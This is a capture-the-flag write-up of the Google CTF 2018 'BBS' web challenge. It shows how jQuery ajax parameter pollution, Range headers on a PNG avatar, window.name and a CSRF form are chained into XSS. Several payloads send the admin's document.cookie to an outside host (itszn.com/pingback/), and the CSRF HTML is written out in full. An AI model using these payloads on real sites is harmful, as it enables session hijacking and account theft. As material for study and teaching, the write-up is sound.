# Google CTF Quals 2018 BBS

This is a writeup of solutions for the BBS web challenge from the Google CTF
2018 Quals event.  
I'll explore the process of exploiting this website and the two different
solutions I came up with to solve it.  
## Challenge Overview

The challenge links us to https://bbs.web.ctfcompetition.com/ with a warning
that no memes are allowed.  
![](https://itszn.com/u/d1d8a9e3a925b63add12ce028e4c245647a5cd38.png)

The page has a retro DOS inspired theme. It features a user account system, a
message board,  
and a profile page.  
The majority of the functionality is implemented on the client side in
`assets/app.js`, which is a  
webpacked javascript app including a URL parsing library.

The message board page allows you to post a message and even reply to previous
messages using `>>number`.  
Post replies can be hovered over to load an iframe of the post in question.

There is also a report functionality which alerts the admin. The goal seems to
be to steal the admin's  
session and  
read some secret information.

### Message Board

When loading the message board, the client runs this code  
```javascript  
function load_posts() {  
$.ajax('/ajax/posts').then((text) => {  
$('#bbs').html(atob(text));  
linkify();  
});  
}  
```

This sends a GET request to `/ajax/posts`, which gives the HTML for the
current posts encoded in base64.  
The client decodes the base64, and writes the HTML to the webpage without
sanitation. However when the  
user submits a post, it is sanitized on the server before being saved. So the
HTML will be pre-sanitized  
before being written to the page.

`linkify` looks for text matching `>>number` format and creates reply elements
for them. Each elements  
creates an iframe that loads `/post?p=/ajax/post/<number>`:

```javascript  
var f = document.createElement('iframe');  
f.id = 'f'+id;  
$(f).addClass('preview');  
f.src = '/post?p=/ajax/post/'+id;  
$(el).parent().append(f);  
```

Lets explore these two new endpoints. `/ajax/post/<number>` will take a post
id and return the contents  
encoded in base64. If the post number does not exist or cannot be viewed it
returns "Private Post" encoded  
instead. The body is still sanitized like before.

The `/post` endpoint is purely clientside logic again:

```javascript  
function load_post() {  
var q = qs.parse(location.search, {ignoreQueryPrefix: true});  
var url = q.p;

$.ajax(url).then((text) => {  
$('#post').html(atob(text));  
});  
}  
```

We can see that it uses the URL parsing library to parse the search query. The
target url is parameter `p`  
on the resulting object. The client requests that url using jquery's `$.ajax`
method. The results is base64 decoded and rendered as HTML.

At first glance you might think you can simply encode an XSS payload in base64
on some other CORS enabled site and load it using the ajax call, but you will
find there is a Content Security Policy blocking you:

```  
content-security-policy: default-src 'self' 'unsafe-inline'; script-src 'self'
'unsafe-inline' 'unsafe-eval';  
```

XMLHttpRequest based ajax calls obey the `connect-src` CSP rule. Since none is
set here, the `default-src` is used, only allowing ajax requests on the same
origin. We will need to find a to store our base64 payload somewhere on the
site.

### Profile Page

The profile page allows you to change your password, set a website, and upload
a profile picture.

![](https://itszn.com/u/202c4464617f10563c2b0ce2cfe38df22866e714.png)

The profile image sticks out as a potential place to store a payload. We
cannot directly use it as  
the server enforces that it must be a valid PNG, and even resizes it to 64x64
pixels.

### Report Endpoint

When clicking report, the client sends a POST request to `/report` with the
path to visit.  
The server requires that the path starts with `/admin/`, but that endpoint is
not very useful and just  
seems broken. However, we can `/admin/../<path>` to instead have the admin
visit any other page on the site.

## Building an Exploit

We have found a vulnerable endpoint and have a target. Now we need to find
somewhere to put our payload.  
Trying to load the profile image with `/post` endpoint directly won't work as
it is not base64 itself.  
So we will need one more trick to be able to store our base64 payload in the
image.

### `.ajax` Parameter Polution

Taking a closer look at the URL parsing library included with the app, we see
that it returns the URL  
parameters as an object. If we try the URL parameter object notation, we see
that we can control  
the object keys and values. For example:
`/post?p[key1]=value1&p[key2][key3]=value2` will result in this  
object:  
```  
{  
p: {  
key1: 'value1',  
key2: {  
key3: 'value2'  
}  
}  
}  
```

If you look at the [docs for .ajax](https://api.jquery.com/jquery.ajax/) you
can see that it takes either  
a single url or an object full of settings. We can now provide that object,
and set any setting we want.

### Range Header

The trick to grabbing just a small part of our profile image is by setting the
`Range` header.  
This header tells the server to provide just a specific part of a static file.
This will not work  
on dynamic paths and paths that the browser refuses to cache.

If we can embed the XSS into the PNG, we can now surgically request it on
`/post` like this:  
```  
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=start-
end  
```

### Embedding XSS

Placing the XSS into a valid PNG is actually tricky, since PNGs employ both
compression and filtering.  
We can attempt to defeat the compression by including mostly random pixels.
This will be uncompressible  
and will likely result in the compressed data being very similar to the
uncompressed data. We can also place  
the payload at the end of our image and brute force the random pixels until
the filtering happens to  
leave it untouched.

So the process is pretty simple:  
* Generate random data to fill 64x64 image  
* Place payload at the end  
* Generate PNG with data and check if our payload is still in it after compression and filtering  
* Repeat if not

For short payloads it works almost instantly.

Here is an example payload with alert("hello") embedded near the end:

![](https://itszn.com/u/620a2a8c87e4d627907d33c6afc082a954d0c1dc.png)

Visit this link to see it in action: (Read on to see why we use dataType and
don't base64 encode)

[https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/5cdad7fcb6d6b9fead46746a7be8b457&p[headers][Range]=bytes=12397-12410&p[dataType]=script](https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/5cdad7fcb6d6b9fead46746a7be8b457&p[headers][Range]=bytes=12397-12410&p[dataType]=script)

## Building a Larger Payload

The longer our payload is, the harder it is to generate a PNG with it embedded
inside.  
Its even worse if we have to base64 encode the payload as well. Including
script tags,  
we can fit about 7 characters of javascript.

This is no good, `document.cookie` alone is longer than that. We need to
figure out how to  
create a larger payload.

The first thing we can do is ditch the base64 and the script tags. Right now
we rely on the  
client setting running our payload with `$('#post').html(atob(text))`. However
since we control  
the parameters to the ajax call, there is actually a more direct method.
Jquery supports a `dataType`  
parameter which hints it what kind of data will be returned.  
There is a special case for when `dataType` is set to`"script"`. In this case
it will actually execute  
the response before doing anything else. We can take advantage of this to turn
our payload into  
pure javascript:

```  
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=x-y&p[dataType]=script  
```

Now we can execute around 32 characters of javascript easily. However its
still not enough. If we want  
to have our payload be something like `location='//abc.yz/'+document.cookie`
we need around 36-40 characters.

Trying something like `eval(location.hash)` won't work either, since
`location.hash` will always start  
with the `#`, which will cause a syntax error. I also tried looking at
`eval(location.path)`.  
If we could get the path to be something like
`/post/;location='//abc.yz/'+document.cookie` we could  
use it. However, although the server still responds with the same page for any
path starting with `/post`,  
the `app.js` script is loaded relative (`assets/app.js`) and so it 404s. If it
instead was  
`/assets/app.js/` this would have worked.

### Off Domain Payload  
Although we cannot steal the cookie yet, we can now redirect them to our own
domain.  
This gives us more flexibility in what we can do.

I embedded `location="//itszn.com/a"` into a PNG and built this url:  
```  
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/073187dafeb1b8ae4bc71ae4d8f313eb&p[headers][Range]=bytes=12385-12408&p[dataType]=script  
```

Visiting the url will redirect you to my controlled page.

Using this page, I came up with two methods to extract the admin's cookie:

### Solution #1: window.name

There is not a lot of information that can be reflected from redirecting a
user to a url  
without being on the same origin.  
You can store a payload in the query or the hash or other parts of the url,
but none of those work in  
this case.

There is one cross-domain value that we can set: `window.name`. This is a
persistent value which is  
kept for all pages open in a given tab or window. One origin can set it, and
another can read it at will.  
It can also be set for new windows with the name attribute of an iframe or
with the `window.open` method.

In our case we cannot use iframes since `x-frame-options` header is set to
`SAMEORIGIN`. We also cannot use `window.open` since the user has not
interacted with our page yet.

We are able to manual set it and redirect. The payload we store in it will
remain after the location change.

To finish the payload, we can embed `eval(name)` into our PNG and build the
XSS url:  
```html  
<script>  
window.name="location=`http://itszn.com/pingback/`+document.cookie";  
location="https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/c00d237b88096add109008243a6941fb&p[headers][Range]=bytes=12400-12409&p[dataType]=script";  
</script>  
```

Running this code on `https://itszn.com/a` will set `window.name`, redirect to
the second XSS payload, and then redirect back again with the admin's cookie.

Sending this to the admin I get a response with the flag:
`CTF{yOu_HaVe_Been_b&}`

### Solution #2: CSRF

The second method is abusing a bug with the profile page. Once you have set a
website, it will then  
fill the form with that value when the page is loaded in the future:  
```html  
<input type="text" name="website" class="input-block-level"
placeholder="Website" value=helloworld>  
```

This value is sanitized of all quotes and angle brackets, so we cannot escape
out of the tag, but since  
quotes were not used in the first place, we can create other attributes.

As this is an `<input>` tag, the easiest way to get code execution is with
`onfocus` and `autofocus`  
attributes.

```  
asdf onfocus=alert(1) autofocus  
```  
This website payload becomes:  
```  
<input type="text" name="website" class="input-block-level"
placeholder="Website" value=asdf onfocus=alert(1) autofocus>  
```

We can steal the cookie without single or double quotes like this:  
```  
asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus  
```

Now we just need to set this website value in the first place. Luckily the
website does not have any Cross-Site Request Forgery protection, so we can
fake a post request from our own domain.

The only issue is that an input named `submit` is required. Thanks to how
great browsers are this will  
replace the form's native submit function. We can prevent this by saving a
reference under a different name  
before adding the submit input to the form:  
```html  
<form id="f" action="https://bbs.web.ctfcompetition.com/profile" method="POST"
enctype="multipart/form-data">  
<input type="password" name="password">  
<input type="password" name="password2">  
<input name="website" value="asdf
onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus">  
<input type="file" name="avatar">  
</form>  
<script>  
f.submitt = f.submit;  
i=document.createElement('input');  
i.name="submit";  
f.append(i);  
f.submitt();  
</script>  
```

Redirecting to this page will cause a CSRF post request to be made installing
the XSS payload and also redirect back to the profile page triggering it. All
this will send the cookie our way again.

Original writeup
(https://gist.github.com/itsZN/5da9d63aa597501a716b8b0ff275c727).